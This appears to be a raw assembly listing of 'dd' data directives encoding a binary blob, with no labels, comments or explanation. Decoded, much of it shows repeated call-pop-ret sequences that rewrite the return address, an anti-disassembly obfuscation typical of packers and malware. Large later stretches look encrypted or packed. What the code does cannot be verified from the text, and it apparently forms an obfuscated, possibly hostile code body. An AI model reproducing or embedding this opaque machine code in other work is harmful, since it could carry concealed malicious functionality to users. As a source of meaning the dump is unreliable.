		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 11E87EC3h, 60000000h, 0BA8614D5h, 506430B0h,	0F87EBE87h
		dd 0B5BDB240h, 3850Fh, 0CA800000h, 8D8959E3h, 6120C71h
		dd 24048950h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	0FFC35747h, 0F6BCFEFh, 95FFD7BFh, 615AB26h, 1C4D958Bh
		dd 0C00B0612h, 11840Fh,	8D0B0000h, 6122F3Dh, 629E9h, 758D0B00h
		dd 8006121Ah, 0F00207Eh, 61984h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 9B21D710h
		dd 56A5C281h, 9CBA6A99h, 606B82A6h, 13E8h, 0BBD85400h
		dd 1C09B2Ah, 0EE3A1A7Ah, 4358F508h, 36981158h, 2F6082BAh
		dd 468D5A30h, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0ACF3A82Eh, 0FB799249h, 57BA66E2h
		dd 0D1BD8903h, 89061203h, 15AB1285h, 0E927B606h, 181h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 3BC35141h
		dd 550573E5h, 0D4173396h, 6E9h,	63C7AC00h, 40D29FC5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 34C35242h, 160B98ACh
		dd 777FE40Bh, 890Fh, 0BA900000h, 1FF6A83Ah, 6E850h, 49DB0000h
		dd 60734AE7h, 0BE9h, 73830900h,	0A2F699CBh, 436C7ECAh
		dd 8B60905Ah, 12303585h, 46A6106h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 72C35141h, 9DCABB38h, 2840Fh
		dd 46B10000h, 89B9B550h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0BDA482C3h, 2695FFF9h
		dd 0B20615ABh, 6AD88B01h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 452DC353h, 67993A37h
		dd 6A58F8EDh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0BF2FC351h, 32A40981h,	247D8D03h
		dd 0D08A0612h, 840FDB0Bh, 4Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 1EC35343h, 0E6B0E0F8h, 66103D61h
		dd 54FD781h, 431E9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0BF0FF8DEh, 3880F9h, 0FEA5850Fh
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 2C8AD9C3h, 1CFBE3C7h, 13E9h, 0B2161000h
		dd 0C68B2923h, 4CFD58CFh, 3CA38994h, 342E5424h,	3FE9h
		dd 0BE900h, 5B30000h, 312D3E95h, 5882568h, 3B91BA9Ch, 6A4826AFh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 95C1C350h, 0D11834D2h, 95896C13h,	61234F9h
		dd 0AB12853Bh, 820F0615h, 25h, 5E9h, 0C0F8FE00h, 38803784h
		dd 12840F5Ch, 80000000h, 3880EACDh, 0AB850F2Fh,	33FFFFFFh
		dd 1212C1BDh, 6A4006h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0D62C0BC3h, 50FC5B6Ch, 835FCA8Bh
		dd 15AB1ABDh, 840F0006h, 122h, 613BBA66h, 5800F50h, 0BF000000h
		dd 1C8078A0h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 9DA5C357h, 0CE3BAB11h
		dd 0BD333DECh, 6123489h, 2CAD8D8Bh, 85030612h, 615AB1Ah
		dd 30CDBD01h, 66500612h, 895B59BFh, 0BD8B2404h,	612241Dh
		dd 958B046Ah, 6123251h,	50D38B90h, 30C715BAh, 0CCB5905Eh
		dd 0AB2695FFh, 958B0615h, 61230D5h, 0B966D88Bh,	29584485h
		dd 1211F985h, 0FDB0B06h, 6084h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0DACF812Dh
		dd 293D4624h, 12243185h, 268E906h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 3FEA11C3h
		dd 8E8D484h, 80000000h,	0A06DECDEh, 66781477h, 93C1DA81h
		dd 0C65Fh, 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0F0661F10h, 9E9h,	82B7F600h, 0B19A328Dh
		dd 0E9501CA8h, 6, 7158A345h, 4893FB5h, 661E6A24h, 244CE781h
		dd 10E950h, 6C900000h, 0AB23D44Dh, 0E89F1B7Dh, 85651462h
		dd 4894A98h, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 5EABAE94h, 0FA415917h, 95FF4F09h
		dd 615AB26h, 0D88BCA8Bh, 0F558C88Bh, 840FDB0Bh,	36h, 0B3DB589h
		dd 8FE90612h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 66D7C357h, 0F84C81B8h
		dd 2AC2050Eh, 0AF95CF81h, 52901233h, 8E8h, 0D3055900h
		dd 69CE2E0Eh, 59CF8A60h, 66535059h, 5F8D52B9h, 52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0A41F1EE8h, 0D280C478h, 0D9816687h, 0B5FFC6EAh, 615AB06h
		dd 95FFEF8Ah, 615AB0Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0C8C35646h, 0CD25471Ch, 0B428724h, 8A850FC0h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0C2E1C350h, 31C59531h,	6A610612h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 62DEC350h, 0B766ACFAh, 0A18D8BF2h, 0C7061210h
		dd 15AB0E85h, 106h, 91958900h, 0E9061204h, 86h,	0E856006Ah
		dd 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 70C35646h, 335F5BCEh
		dd 3DA4E0Eh, 121CADBDh,	890F6106h, 2, 0C681CE8Ah, 11Ch
		dd 58E0Fh, 0A5B90000h, 0E90FD82Eh, 0FFFFF988h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 77C35646h, 10E8E7C4h
		dd 0E9000000h, 0A12009E5h, 270C4F58h, 91EFA181h, 60618397h
		dd 0B5895E56h, 6120AC1h, 4E85A61h, 0
		dd 60000080h, 7E8h, 0E184BA00h,	0DABFA2BDh, 5250605Fh
		dd 585A310Fh, 57AA5BEh,	5061617Bh, 424448Bh, 28D0Fh, 3AB10000h
		dd 5E9008Bh, 0AF000000h, 533F4F01h, 4244489h, 0D08B5250h
		dd 0AE9310Fh, 5A000000h, 1A466DE2h, 0A6BCC43Eh,	58585A6Eh
		dd 68B0F56h, 2B000000h,	121BE195h, 0BD035906h, 6121BE9h
		dd 8957006Ah, 12263D85h, 0B5FF5906h, 615AB16h, 6880Fh
		dd 0BD8B0000h, 6122BA5h, 6E9h, 0D0636400h, 0FF7DEA3Fh
		dd 12039195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0C01150FEh, 0E8548BE7h, 8, 0E30EEEA8h
		dd 151D1870h, 69C4B966h, 0E858B5Ah, 800615ABh, 5390E1E1h
		dd 505FFE8Bh, 5880F56h,	0BF000000h, 3DCF8E3Ah, 0F609059h
		dd 68Ah, 598D2300h, 5106120Bh, 61585851h, 0AB1E858Dh, 8D2B0615h
		dd 61226C9h, 3089BD89h,	60900612h, 12E982B1h, 3F000000h
		dd 29A97E51h, 54A47BC1h, 7E316BAEh, 44386589h, 66506154h
		dd 907C92BFh, 10E957h, 7EAD0000h, 0D329BBEDh, 90CBDC12h
		dd 23D44D6Ch, 8D5A7DABh, 15AADB85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 34E5628Bh
		dd 0FD125AC5h, 0EF81FECEh, 4D63C525h, 17358D8Bh, 8B500612h
		dd 240489F9h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	0C3C35646h, 0F8CAB17Eh,	0FF195FFh, 0F1810612h
		dd 12DEC02Eh, 9D89C08Bh, 61210A1h, 0E71BD83h, 75000612h
		dd 69BD8309h, 6122Dh, 53501374h, 0D0B8C08Bh, 8D000004h
		dd 14AE259Dh, 5BD3FF06h, 69BD8358h, 6122Dh, 53501174h
		dd 4D0B8h, 249D8D00h, 0FF0614ADh, 6A585BD3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 5E75C356h, 6A2639h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0C927AC3h, 0CECC0538h, 11BD8B3Fh
		dd 66061205h, 0C08BFE8Bh, 81958B60h, 66061235h,	2961F08Bh
		dd 1216D5BDh, 6A5806h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0EB2394C3h, 600008C2h, 1A71B589h
		dd 0BF0F0612h, 0FA8B61D0h, 800FC08Bh, 8, 860F56h, 5A000000h
		dd 0AB35858Dh, 0DA810615h, 3C37B2AAh, 6458589h,	39EB0612h
		dd 0C10000h, 0C102CCh, 0C102E4h, 0
		dd 261F1E8Ch, 1706123Bh, 43171A57h, 2E1C1E68h, 2F1659E2h
		dd 173C77ABh, 433E3BA7h, 333D03BFh, 2B26199Dh, 2713120Eh
		dd 4318173Eh, 43719F4Ch, 1852778Fh, 1FFB2C04h, 7F373C7h
		dd 436473D5h, 103177F8h, 422E6DBFh, 598BE2B5h, 449A710Dh
		dd 8D72778Fh, 8959B762h, 0C87DE98Eh, 437277F7h,	44DBFA73h
		dd 0C82B716Eh, 0FEF18EFEh, 4560796Eh, 0C07B028Fh, 515F1E7Ah
		dd 5A0677E5h, 83F924A1h, 4376CE40h, 0B6F7FE7Ch,	0CE74650Ah
		dd 57DD9D82h, 18A18889h, 2ACFF49Fh, 437465CEh, 10226085h
		dd 4376CE40h, 0B6F7FE7Ch, 0CE74650Ah, 57DEAE82h, 18A18889h
		dd 11721D9Fh, 4372740Bh, 802857F1h, 6726FEA2h, 6736F678h
		dd 43726F3Ah, 8020351Fh, 5404F599h, 76FF5EC6h, 0C87465D7h
		dd 15721D31h, 43727410h, 802C577Ch, 6706FE60h, 6736F61Bh
		dd 43726D8Bh, 802431C7h, 0CB72B191h, 8539DF67h,	51702E7Dh
		dd 0CE59217Ah, 456072B3h, 0A3F3117Fh, 9CF3F934h, 1430A64Eh
		dd 0CAE91F82h, 449A5E1Dh, 0AF7277F8h, 0CF9B57BDh, 0F5CC97F5h
		dd 1D6FEE5Ch, 0F456730Eh, 2900CBE9h, 409A26E3h,	637277F1h
		dd 0CA2BB4A1h, 0C2765330h, 5476537Ah, 272771Fh,	0F2D5B4DEh
		dd 0F68D4D14h, 4560598Ah, 43726418h, 294261F8h,	882C40E5h
		dd 9C70E0E4h, 0DA9A0BB1h, 0BE3D58AAh, 0C2D6F24Ah, 431871F6h
		dd 43719FA6h, 1C5277F8h, 3FFB28BFh, 7F3731Ah, 4365733Bh
		dd 1435778Fh, 4F5A4404h, 9AE7FECDh, 0BC7465FEh,	14721D28h
		dd 43727494h, 802D573Eh, 670EFE40h, 6736F68Bh, 437262C3h
		dd 802530E3h, 0FEFB2975h, 456079A5h, 43187316h,	43719F68h
		dd 1D52771Fh, 37FB294Ch, 7F373E3h, 436973C7h, 153477F1h
		dd 5D9C13Bh, 1E2A5844h,	4FF97870h, 4C72771Fh, 43727105h
		dd 43FB78C7h, 4C7277E3h, 4372717Ah, 22FFFEF8h, 0AB74655Dh
		dd 4372773Ah, 4372671Fh, 25228704h, 7F9BD4Ch, 0FC1473C7h
		dd 43F9F65Eh, 7FB28AFh,	34CB7358h, 1B418D12h, 0AB207775h
		dd 4372778Ch, 19B12DE7h, 4756236Ah, 47563370h, 437277EFh
		dd 53B1253Eh, 25DB1E47h, 0EAAA819Eh, 0D5D610E7h, 131220DCh
		dd 194378B1h, 43629FA9h, 928C77F8h, 0E71D52A5h,	3D04AC36h
		dd 949D407Fh, 222D9969h, 6746F698h, 58E4D168h, 0AB25779Bh
		dd 437277FBh, 1CB1285Ch, 47560BB7h, 4756339Eh, 43727792h
		dd 4DB12080h, 7A35071Bh, 233348BCh, 0AACF7C68h,	29746555h
		dd 0AE7FC3Eh, 2374650Ah, 0C8FF9A0Fh, 51511E4Ah,	938D16E5h
		dd 0CA55B571h, 56CF047Dh, 2ACF5E7Ah, 0C874653Ah, 41BE72E7h
		dd 0C6FB778Fh, 4567CAB0h, 0CA6AB760h, 56CF0C74h, 0FAB244FEh
		dd 43727590h, 4318DDCDh, 43719F4Ch, 1852778Fh, 1FFB2C04h
		dd 7F373C7h, 436673D5h,	103177F8h, 431898BFh, 43719F6Eh
		dd 1B52771Fh, 7FB2F4Ch,	7F373E3h, 436773C7h, 133277F1h
		dd 0C893493Bh, 8BF91182h, 412BF2F8h, 4C31710Dh,	43727305h
		dd 5BCC11C7h, 22FF4602h, 0AB7465F4h, 437277FCh,	0DF151C22h
		dd 4370FA31h, 8CF9771Fh, 519B27DFh, 0E97277C7h,	0EFDCB88Fh
		dd 0BE0894Bh, 1F23BA78h, 64BE7B7Ah, 7F929FFh, 1122733Bh
		dd 0BC492030h, 13437895h, 4C2D25B1h, 43639FC0h,	8D7277F8h
		dd 3ADD1F57h, 89728F80h, 412DD34Bh, 1A8E5458h, 1B282F9Dh
		dd 7FB7768h, 2BC773D5h,	0F68D8BA0h, 45605915h, 0C6FF8FB5h
		dd 4567F6BBh, 7657CA04h, 192371D5h, 4318A71Ch, 43719FA0h
		dd 1A5277F8h, 0FFB2EBFh, 7F3731Ah, 436F733Bh, 1233778Fh
		dd 0B8CB9D04h, 172FF9C1h, 0CA480DD0h, 51762645h, 0FAF7FE7Ah
		dd 2974652Dh, 409A221Fh, 6372778Fh, 0CA2FB49Ah,	0C276538Fh
		dd 5E7653B5h, 67277F8h,	8528B429h, 0BA2D1686h, 94A21CA0h
		dd 480BF202h, 0D6F971D5h, 45606C92h, 47DFF278h,	431871EAh
		dd 43719F2Bh, 1C52773Eh, 3FFB28DCh, 7F373ABh, 436973E3h
		dd 143577E3h, 3E2F7632h, 0FFAD9755h, 42FFFE4Fh,	85746513h
		dd 51702E9Ah, 0C8232489h, 5156DA4Ah, 191A29E5h,	25D892D9h
		dd 0C2B2B046h, 23F05348h, 4318216Ah, 43719F4Ch,	1852778Fh
		dd 1FFB2C04h, 7F373C7h,	436573D5h, 103177F8h, 0E612ABBFh
		dd 3EFF7C1Ch, 0C3746516h, 0F68DBF7Ah, 456059AEh, 0AB277789h
		dd 437277F2h, 1EB12AD8h, 47561BF5h, 475633BFh, 43727706h
		dd 0C8B122CAh, 0A48FE2FDh, 0A6FFFE1Dh, 0C87465D5h, 5142AE75h
		dd 0E7F7FA7Ah, 297462BFh, 409A211Fh, 6372778Fh,	0CA2CB499h
		dd 0C2765397h, 5A7653B5h, 57277F8h, 82CEB42Ah, 714B35AEh
		dd 1FB3F679h, 43619E40h, 9B8B77C7h, 0FD3BBC5h, 9E62DC69h
		dd 0C497D3Fh, 0A29F0BB5h, 29A2887Ah, 409A251Fh,	6372778Fh
		dd 0CA28B49Dh, 0C27653B7h, 567653B5h, 17277F8h,	364CB42Eh
		dd 82B5AEBFh, 0F6F92B34h, 45604796h, 6707F24Eh,	519A71F1h
		dd 0F37277F1h, 93F32305h, 0BB3C4B11h, 3C60CB0Eh, 8ADD0F4Ah
		dd 43669E93h, 5AF377C7h, 973103C1h, 0A9DBE6F8h,	0B976E8DFh
		dd 0A0DDA582h, 852B699Dh, 51702E9Ah, 43182489h,	43719F90h
		dd 1C5277E3h, 3FFB2832h, 7F373DCh, 436E7358h, 1435773Eh
		dd 0C134D2DCh, 0F1E3E749h, 0C214F323h, 2BA0732Ch, 0DC53F9EFh
		dd 0EE564379h, 29354E36h, 409A213Eh, 6372771Fh,	0CA2CB4D1h
		dd 0C27653B3h, 557653A7h, 57277F1h, 0D6FCB4AEh,	43609E95h
		dd 7BF8773Eh, 4CE60DFCh, 9B64B17Fh, 0F8ECB99Ah,	0F4CD0243h
		dd 6D1BC20Eh, 529A71EAh, 5772777Ch, 9811EA51h, 3C165A5Ch
		dd 247CDD78h, 979E004Fh, 6CD3C26Ah, 0CE2B71E3h,	56F3D37Dh
		dd 14721D7Ah, 437274D6h, 802D571Fh, 670EFED0h, 6736F6C3h
		dd 43726DE7h, 802530F1h, 0A1E357A1h, 0AADC9E4Eh, 4372772Fh
		dd 0A6AB6664h, 7438E4B6h, 5AA6641Eh, 4C92CADCh,	0FEF9177Dh
		dd 45607DB1h, 43727B94h, 727E163Eh, 0F7337C46h,	0A2A1115Fh
		dd 56FFFC35h, 1C7465F0h, 0BFA28890h, 50C3F271h,	0DE43716Eh
		dd 45607B2Bh, 412BF2D9h, 2935719Dh, 409A24C7h, 637277E3h
		dd 0CA29B4AAh, 0C27653A4h, 59765338h, 72773Eh, 586AB44Ch
		dd 0A7532127h, 88C578EAh, 336DC58Bh, 539B1762h,	2E7277F8h
		dd 0EE28D929h, 2BEE2DF9h, 0F9E25EF9h, 0C8468D95h, 47F3160Fh
		dd 2DCF80C7h, 722417D5h, 5172A67Dh, 0FC142E7Ah,	0BC13D51Ah
		dd 515C1EAAh, 0CE76C689h, 56F3D342h, 12721DE5h,	43727419h
		dd 802B57F8h, 673EFE25h, 6736F63Ah, 4372601Bh, 8023368Fh
		dd 40ECD1EBh, 41F3FA6Ah, 938D71E3h, 0C6FB2DAFh,	45606B75h
		dd 732FFAB7h, 0C6B4710Dh, 456075D6h, 2CD1180h, 6EF7FEDCh
		dd 0AB7465E6h, 437277FCh, 0C2AE6706h, 557ED384h, 489B2721h
		dd 2572778Fh, 615C2D2Eh, 2350BAE0h, 7F90F5Ah, 43F973DCh
		dd 0D5FD34C6h, 6736FE64h, 0C814241Bh, 0FA2A2E41h, 228EFF2h
		dd 6D1BC21Ch, 431871E3h, 43719FAFh, 1C52777Ch, 3FFB28FDh
		dd 7F3733Bh, 436973ABh,	143577C7h, 0BC189120h, 0B6378CBBh
		dd 0E7F7FA6Bh, 297462FDh, 409A223Eh, 6372771Fh,	0CA2FB4D2h
		dd 0C27653ABh, 557653A7h, 67277F1h, 510B4ADh, 0CAC7FE3Dh
		dd 0B674652Fh, 4318A7E0h, 43719FDAh, 1E5277C7h,	2FFB2A20h
		dd 7F373D5h, 436B73DCh,	1637777Ch, 7EF552FDh, 124E6839h
		dd 0CA28D93Dh, 51680E42h, 15721DE5h, 43727419h,	802C57F8h
		dd 6706FE22h, 6736F63Ah, 43726B1Bh, 8024318Fh, 0C34A163Ch
		dd 240691BEh, 2AFFFE2Fh
		dd 0AA7465DFh, 4372776Dh, 15A8DF31h, 0A6B65A3Ch, 851740A9h
		dd 9FCA2CB6h, 1AF7B10Ah, 47465F3h, 0AB277792h, 4372777Fh
		dd 1EB12A1Eh, 47561B96h, 4756330Eh, 437277DBh, 99B122A6h
		dd 0BE2015F7h, 2959176h, 43727394h, 8E4E2A3Eh, 43669EB5h
		dd 0CE778Fh, 4283FD1Bh,	468C40DAh, 3D07DE83h, 0DB0A6F1Dh
		dd 0C822E8BBh, 2576537Ah, 0C8D244A6h, 43749E8Fh, 660E77C7h
		dd 0A58721F7h, 47563378h, 16721DA0h, 43727494h,	802F573Eh
		dd 671EFE42h, 6736F68Bh, 437262C3h, 802732E3h, 0FE792922h
		dd 45605181h, 52AFC2F7h, 0F68D712Ch, 45605976h,	0AB2277E5h
		dd 437277C4h, 1BB12FC3h, 47563378h, 47563379h, 43727769h
		dd 50B1277Eh, 0D4B8F659h, 0CE4E9555h, 56F3D342h, 46F776E5h
		dd 0BC7465E7h, 0DAFFFE28h, 6A74655Ch, 5170A6A3h, 2AF7FE19h
		dd 29746584h, 409A24C7h, 637277E3h, 0CA29B4AAh,	0C27653A4h
		dd 5A765338h, 72773Eh, 8E2DB44Ch, 366B0DC9h, 0C6FBA738h
		dd 4560439Eh, 69CFCA7Ah, 0C6FB71EAh, 45605A35h,	43779E6Eh
		dd 0B8CA771Fh, 1A0F535Ch, 29AAFBA1h, 409A22E3h,	637277F1h
		dd 0CA2FB4A5h, 0C2765310h, 5876537Ah, 672771Fh,	33B1B4DAh
		dd 0F2705EFFh, 0DE7BCEC3h, 45607D3Ch, 469B73DCh, 6972777Ch
		dd 5A8AEADCh, 0C77DB715h, 437274F6h, 0AB2577ADh, 437277E0h
		dd 1CB128D1h, 47560B71h, 475633FDh, 43727722h, 46B12058h
		dd 97AC8F73h, 90956FFDh, 49DBEAE2h, 0C6B471E3h,	456075A1h
		dd 43749E33h, 2B82773Eh, 371BEDE5h, 43727367h, 0C31EB3C7h
		dd 4C20275Ch, 1C2026C0h, 132A2DA1h, 437D9E2Ah, 0F9D9773Eh
		dd 0FDBD0BFCh, 900A1E79h, 382455F4h, 7F928F0h, 74C073D5h
		dd 4C127773h, 437275FDh, 0F15EC03Eh, 7FB1666h, 4F9B73ABh
		dd 0ED7277C7h, 18A46267h, 124B3476h, 1B078568h,	0AB217716h
		dd 4372773Dh, 18B12C3Fh, 47562B06h, 47563346h, 437277FEh
		dd 5B124B2h, 3CB02FC6h,	0F1575DF9h, 16C7FC2Eh, 4274653Bh
		dd 5151AA3Ah, 2AC788C1h, 0CA7465CDh, 5160B67Ch,	0E7F7FAFEh
		dd 0F97462FDh, 2646B57Ch, 6963F236h, 938D719Dh,	467FCA4Eh
		dd 83F171F1h, 12721DD5h, 43727410h, 802B577Ch, 673EFE67h
		dd 6736F61Bh, 4372638Bh, 802336C7h, 1EC7FEC6h, 0AB7465C4h
		dd 437277F4h, 0F2623870h, 0BEB52178h, 0D9F5DB4Eh, 3512B00Eh
		dd 0CA2B19DEh, 51402A66h, 14721DF7h, 43727410h,	802D577Ch
		dd 670EFE61h, 6736F61Bh, 4372608Bh, 802530C7h, 408C7A62h
		dd 6E3BF27Ah, 0FC7D71EAh, 0BAC57886h, 481BEAB5h, 4318710Dh
		dd 43719FDEh, 1A5277C7h, 0FFB2E20h, 7F373D5h, 436A73DCh
		dd 1233777Ch, 0DCEDDFFDh, 0C2146013h, 0C336186Eh, 2931F735h
		dd 409A26E3h, 637277F1h, 0CA2BB4A1h, 0C2765330h, 5576537Ah
		dd 272771Fh, 0A57EB4DEh, 2969FC82h, 409A27E3h, 637277F1h
		dd 0CA2AB4A0h, 0C2765338h, 5676537Ah, 372771Fh,	78A2B4DFh
		dd 6A8A6C4Ch, 517BEE66h, 2969FCF7h, 409A27F8h, 6372777Ch
		dd 0CA2AB466h, 0C276535Bh, 5B7653CBh, 37277C7h,	2CC1B4B3h
		dd 70FBD9B3h, 0DEFB8B20h, 45606341h, 0DE2CD58h,	412BF2D9h
		dd 2935719Dh, 409A25C7h, 637277E3h, 0CA28B4ABh,	0C27653ACh
		dd 59765338h, 172773Eh,	904EB44Dh, 9B80F218h, 54F0783Eh
		dd 0AB7277E3h, 437277FDh, 4B6E8C1Bh, 18698EBFh,	0C1AECC14h
		dd 5406A4A6h, 0C31A29FBh, 0C2A9F21Dh, 445B53D7h, 43181BAAh
		dd 43719FABh, 1852777Ch, 1FFB2CFDh, 7F3733Bh, 436E73ABh
		dd 103177C7h, 0C9E4AD20h, 62995782h, 0FE7BA51Fh, 45605A1Dh
		dd 0C2FFFC5Eh, 2274651Dh, 6D1BC270h, 431871D5h,	43719FB3h
		dd 1B5277F1h, 7FB2F3Bh,	7F37358h, 436E731Ah, 1332771Fh
		dd 1DE9AF4Ch, 34D43080h, 0F67314A9h, 45606E20h,	0C2D6F275h
		dd 0C37D7169h, 4372773Dh, 0BC84829Fh, 15721D5Fh, 4372742Fh
		dd 802C57E3h, 6706FEAFh, 6736F6FCh, 43726E78h, 8024313Eh
		dd 0F7337C46h, 0C6FB115Fh, 45606BCEh, 4C322EB0h, 43727072h
		dd 0B3F217F8h, 227AC242h, 0DE5B77B5h, 45605C36h, 43187704h
		dd 43719F92h, 1E5277E3h, 2FFB2A32h, 7F373DCh, 436F7358h
		dd 1637773Eh, 0E9A2BFDCh, 18ED331Eh, 6A10A219h,	51427A76h
		dd 43799EF7h, 2FE977F8h, 0DB5164D2h, 25CD69B6h,	52F7FE0Fh
		dd 2974658Fh, 409A20C7h, 637277E3h, 0CA2DB4AEh,	0C2765384h
		dd 57765338h, 472773Eh,	6084B448h, 516B861Ah, 422F9EC1h
		dd 4C1277E3h, 4372727Ah, 90F311F8h, 0DEFBC95Ch,	4560434Bh
		dd 0DAF7FA7Eh, 0AA746232h, 437277C2h, 4F196C4Ah, 437E9FF2h
		dd 74C877F8h, 0EA87CC35h, 5C0FB0E8h, 0ACBF1D2h,	1D06E757h
		dd 13A5FD57h, 17002C5Ah, 4318E7E2h, 43719FA8h, 1B52777Ch
		dd 7FB2FFDh, 7F3733Bh, 436A73ABh, 133277C7h, 16B30C20h
		dd 0C6FB62DBh, 45607D35h, 0C828A2FCh, 0CAE788F4h, 0AB74653Eh
		dd 43727788h, 842FA485h, 23EA3D69h, 719BF278h, 191371EAh
		dd 0FEEDEAF1h, 0A9F8712Bh, 2320274Fh, 727D25DFh, 18242F9Dh
		dd 23437882h, 43727C18h, 75AA1EF8h, 0EA148159h,	669DC21Fh
		dd 1913167Fh, 676EFED7h, 0AB2477ADh, 437277E0h,	1DB129D1h
		dd 47560371h, 475633FDh, 43727724h, 3DB12159h, 872D21E1h
		dd 0F6FBA648h, 4560562Ah, 469A26A1h, 0F07277F8h, 5104A043h
		dd 47FB2960h, 22E7883Bh, 29746593h, 409A24C7h, 637277E3h
		dd 0CA29B4AAh, 0C27653A4h, 5B765338h, 72773Eh, 0F5C2B44Ch
		dd 0C3968293h, 0C6FBE522h, 456045BEh, 43726619h, 45EE0FF8h
		dd 79038030h, 1D0B782Dh, 7394A64Ah, 4C9BC015h, 2C7277C7h
		dd 0B04DA80h, 612E3AF5h, 67A811A1h, 0AA28B366h,	43727735h
		dd 0C178CB97h, 7E2DF26Dh, 85585149h, 51702E66h,	431824F7h
		dd 43719FABh, 1852777Ch, 1FFB2CFDh, 7F3733Bh, 436673ABh
		dd 103177C7h, 0F6F9D220h, 45607400h, 0D8521890h, 6746F6C5h
		dd 506ED32Eh, 437265F6h, 5F65DC8Fh, 806DA443h, 46728EE5h
		dd 0CC3C0A35h, 0BC57F443h, 515C1EC9h, 0E7F7FA38h, 2974629Eh
		dd 409A268Fh, 637277C7h, 0CA2BB4BAh, 0C27653BDh, 5A7653BCh
		dd 272777Ch, 4B22B46Fh,	0D7837028h, 0EA83F6E9h,	0E0ABF7C4h
		dd 529AA71Ch, 0D57277F1h, 8B5A384Ch, 3F9074D5h,	212EFAE2h
		dd 0D74639DFh, 43727A67h, 3A3E47C7h, 2D803C8Eh,	8831CE13h
		dd 0DEFBB731h, 45606DF1h, 0C6FB2D60h, 4560613Eh, 0AB2077E5h
		dd 437277C4h, 19B12DC3h, 47562378h, 47563379h, 43727768h
		dd 77B1257Ch, 4374F410h, 0F6F9778Fh, 456063AEh,	412BF225h
		dd 0C83571E3h, 515F5E45h, 43769F7Ah, 56E2773Eh,	1122D66Dh
		dd 0FC1425DFh, 727D887Ch, 43727C0Bh, 3310DBF1h,	0B60E0619h
		dd 0FBAF4438h, 4C2A2D60h, 132A2D2Eh, 7F9A13Eh, 529B73E3h
		dd 457277E3h, 0FC83F78Dh, 0E776CABh, 2E7FC1AFh,	0B73418A9h
		dd 11227794h, 0CB7D4680h, 437277C5h, 1B282DB0h,	47563378h
		dd 0F12BCE9Eh, 11721D24h, 437274D6h, 8028571Fh,	6726FED5h
		dd 6736F6C3h, 43726EE7h, 802035F1h, 7420BB31h, 7022538Dh
		dd 515F6EB3h, 0F68D2819h, 456059E6h, 0C2D6F24Ah, 431871F6h
		dd 43719FA6h, 1C5277F8h, 3FFB28BFh, 7F3731Ah, 436F733Bh
		dd 1435778Fh, 81CA2604h, 11087E7Ch, 0BCB75DD4h,	0CAE7FC28h
		dd 0CA74654Dh, 5162AABBh, 0C6B48F19h, 456075D6h, 8CF31194h
		dd 951AA8C0h, 0C2EF63B9h
		dd 543453CCh, 4D9B7351h, 7C72773Eh, 0CF7D97A2h,	7837AEBEh
		dd 6C4CF017h, 2AC788EDh, 0C37465DFh, 0C6FF9A22h, 4567F6D8h
		dd 0AB237754h, 4372771Ch, 1AB12EAFh, 47563B4Eh,	47563362h
		dd 437277E7h, 5CB126B9h, 0CA7D18C6h, 4372773Eh,	4318A7E0h
		dd 43719FDFh, 1B5277C7h, 7FB2F20h, 7F373D5h, 436B73DCh
		dd 1332777Ch, 2575E1FDh, 0C8118CB7h, 51666A3Ah,	8AF7FEC1h
		dd 297465E9h, 409A21F1h, 637277F8h, 0CA2CB422h,	0C276534Ah
		dd 5876535Bh, 572778Fh,	0FA0EB491h, 0C5611436h,	0FEFB010Eh
		dd 45605181h, 412BF2BAh, 2925712Ch, 409A241Fh, 6372778Fh
		dd 0CA29B49Ch, 0C27653BFh, 5A7653B5h, 7277F8h, 509DB42Fh
		dd 0F81B3CACh, 43727BF6h, 0A009F18Fh, 0FE7F7148h, 8DDD3055h
